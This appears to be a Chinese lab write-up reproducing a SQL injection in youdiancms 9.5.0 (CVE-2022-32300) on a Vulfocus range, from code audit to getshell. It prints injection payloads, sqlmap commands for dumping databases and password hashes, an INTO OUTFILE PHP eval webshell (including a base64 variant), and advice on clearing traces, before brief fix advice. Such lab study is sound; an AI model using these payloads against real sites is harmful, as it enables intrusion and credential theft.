当前位置: 首页 > news >正文

Vulfocus靶场实战:youdiancms 9.5.0 SQL注入漏洞(CVE-2022-32300)从审计到Getshell

1. 环境准备与漏洞背景

最近在Vulfocus靶场复现了一个经典案例——youdiancms 9.5.0版本的SQL注入漏洞(CVE-2022-32300)。这个CMS系统在中小企业网站中还挺常见,漏洞利用链完整,特别适合新手学习Web渗透的基础操作。我们先从最基础的环境搭建说起。

首先在Vulfocus启动靶场后,你会看到一个典型的安装界面。数据库配置建议用root/root,数据库名填youdian就行。这里有个小细节要注意:安装完成后记得删除install.php文件,这是很多CMS系统的通病,不处理的话容易被恶意利用。安装成功后用默认账号登录后台,界面挺简洁的,主要功能都在左侧菜单栏。

说到这个漏洞的发现过程还挺有意思。官方补丁公告里只说了存在SQL注入风险,但没具体说明漏洞点。我在审计源码时发现MailAction.class.php文件里的MailSendID参数直接拼接到SQL语句,没有任何过滤处理。这种老式CMS喜欢用字符串拼接的方式构造SQL查询,在早期版本中特别常见。

2. 漏洞定位与手工验证

2.1 源码审计关键点

打开/App/Lib/Action/Admin/MailAction.class.php文件,找到viewLog方法。你会看到类似这样的危险代码:

public function viewLog(){ $mailSendID = $_GET['MailSendID']; $sql = "SELECT * FROM mail_log WHERE id=".$mailSendID; $result = $this->db->query($sql); //...后续处理逻辑 }

看到问题了吗?开发者直接用了GET参数拼接SQL语句,连最基本的引号包裹都没有。这意味着我们可以在MailSendID参数里注入任何SQL代码。漏洞触发点在/index.php/Admin/mail/viewLog这个路由,但有个前提——需要先登录后台。

2.2 手工注入测试

先用Burp Suite抓个正常请求包,保存为req.txt。重点观察Cookie里的PHPSESSID和请求参数。我习惯先用简单payload测试,比如:

/index.php/Admin/mail/viewLog?MailSendID=1 and 1=1 /index.php/Admin/mail/viewLog?MailSendID=1 and 1=2

第一个请求应该返回正常数据,第二个应该返回空内容。如果符合这个表现,基本可以确认存在SQL注入。再试试更复杂的payload:

/index.php/Admin/mail/viewLog?MailSendID=1 union select 1,2,3,4,5,6,7,8,9

这个操作是为了确定字段数,通过不断调整select后面的数字,直到页面正常显示。我测试时发现这个表有9个字段,其中第4、5个字段会回显在页面上。

3. 自动化工具利用

3.1 sqlmap基础操作

虽然手工验证很有成就感,但实战中还是sqlmap效率更高。准备好之前保存的req.txt,运行:

python sqlmap.py -r req.txt --risk=3 --level=5 --dbs

这里risk和level参数都调到最高,因为我们需要充分探测漏洞。几分钟后应该能看到数据库列表,其中肯定包含youdian这个库。接下来爆表名:

python sqlmap.py -r req.txt -D youdian --tables

重点查看admin、user这类敏感表。我发现了youdian_admin表,里面肯定存着管理员凭证。继续爆字段:

python sqlmap.py -r req.txt -D youdian -T youdian_admin --columns

3.2 获取网站路径

在写webshell之前,我们需要知道网站绝对路径。通过sqlmap的--file-read参数可以尝试读取常见配置文件:

python sqlmap.py -r req.txt --file-read=/var/www/html/config.php

不过这个方法成功率不高。更靠谱的是结合目录扫描,比如用dirsearch发现根目录存在install.php,结合报错信息可以确定路径是/var/www/wordpress。记住这个路径,后面写shell要用。

4. 权限提升与Getshell

4.1 写入Webshell

有了路径信息,最直接的利用方式就是通过SQL注入写文件。在sqlmap的sql-shell中执行:

SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/wordpress/shell.php'

但这里有个坑:MySQL用户可能没有写权限。如果遇到这种情况,可以尝试写日志文件或者临时目录。我常用的备用方案是:

SELECT '<?php file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4="));?>' INTO OUTFILE '/var/www/wordpress/tmp.php'

4.2 数据库提权

如果写文件失败,可以考虑从数据库用户入手。先用sqlmap爆用户密码:

python sqlmap.py -r req.txt --users python sqlmap.py -r req.txt --passwords

如果运气好拿到root密码,可以直接连接MySQL进行操作。比如创建新用户、修改现有用户密码等。我遇到过一次案例,通过mysql的UDF函数直接执行系统命令,比写webshell还方便。

4.3 获取flag

最后一步就是常规操作了。用蚁剑连接写好的webshell,在根目录或者/home下找flag文件。Vulfocus的flag通常格式为flag-{UUID},可以用find命令快速定位:

find / -name "flag*" 2>/dev/null

找到flag后记得清理痕迹,删除webshell和临时文件。实战中还要注意不要影响业务正常运行,这是基本的职业道德。

5. 漏洞修复建议

虽然这是个靶场演练,但还是要说说修复方案。开发者应该做三件事:

  1. 使用预处理语句重构所有SQL查询
  2. 对MailSendID参数做强制类型转换(intval)
  3. 增加后台操作的权限校验

对于使用这类CMS的站长,建议立即升级到最新版本。如果暂时不能升级,可以在WAF中添加针对MailSendID参数的特殊字符过滤规则。

http://www.jsqmd.com/news/603837/

相关文章:

  • 盘姬工具箱:免费无广告的良心工具箱推荐
  • PDF投喂翻车实录:手把手教你用AnythingLLM正确处理扫描版教材和文献
  • 【2024唯一通过FB内部CI验证的配置模板】:PyTorch 3.0 + TorchDynamo + DTensor静态图分布式训练100%复现方案
  • 我的博导也是干摩托车发动机的,他为什么没干出来
  • 2026人工智能GEO白皮书:B2B制造业从产业洞察到优化实践 - 罗兰艺境GEO
  • 微信聊天记录终极保存方案:5步轻松实现永久备份与智能分析
  • ADC前端模拟电路设计
  • WebLaTeX:重构LaTeX写作体验的云端协作平台
  • Omron D6F-PH差压传感器I²C驱动与嵌入式应用指南
  • WindowResizer终极指南:强力突破Windows窗口限制的专业工具
  • 效率飞跃:如何用copilot认证与快马ai加速你的课程数据统计分析作业
  • 抖音内容自动化采集架构设计:企业级开源解决方案的技术实现与商业应用
  • 解锁论文新姿势:书匠策AI——毕业论文的“智能魔法棒”
  • 保姆级教程:Doris Manager 23.11.2 最新版安装与集群接管实战(附常见问题排查)
  • OpenClaw Dreaming 完全指南 2026:AI 代理的后台记忆整合
  • 品牌承诺怎么写:一句承诺如何既让客户心动,又不让企业冒进
  • MogFace模型部署避坑指南:解决Python环境依赖与CUDA版本冲突
  • 毕业不内耗!百考通AI,做你“不拖延、不熬夜”的毕业论文搭子
  • 告别重复造轮子:用快马AI一键生成高效后端通用模块
  • 释放Unity游戏扩展潜能:BepInEx插件框架的创新实践指南
  • SPSC无锁队列
  • ROS2 Jazzy安装后必做的5件事:从验证到跑通第一个机器人Demo
  • 客户决策链地图怎么画:老板、采购、技术、项目、法务分别怎么看你
  • 【触想智能】工业级平板电脑在人机界面上应用的九大特点
  • MySql(基础排序--查找后排序)
  • 如何快速下载E-Hentai漫画合集:终极批量漫画保存工具使用指南
  • seo关键字价格便宜的方法有哪些
  • 如何用思维链提示让ChatGPT变身数学高手?实测效果超乎想象
  • MATLAB仿真m序列、Gold序列、Kasami序列扩频码性能的程序与课程设计报告
  • 【Alger Music】Alger Music Player官网下载:音乐播放器安装使用全攻略 - xiema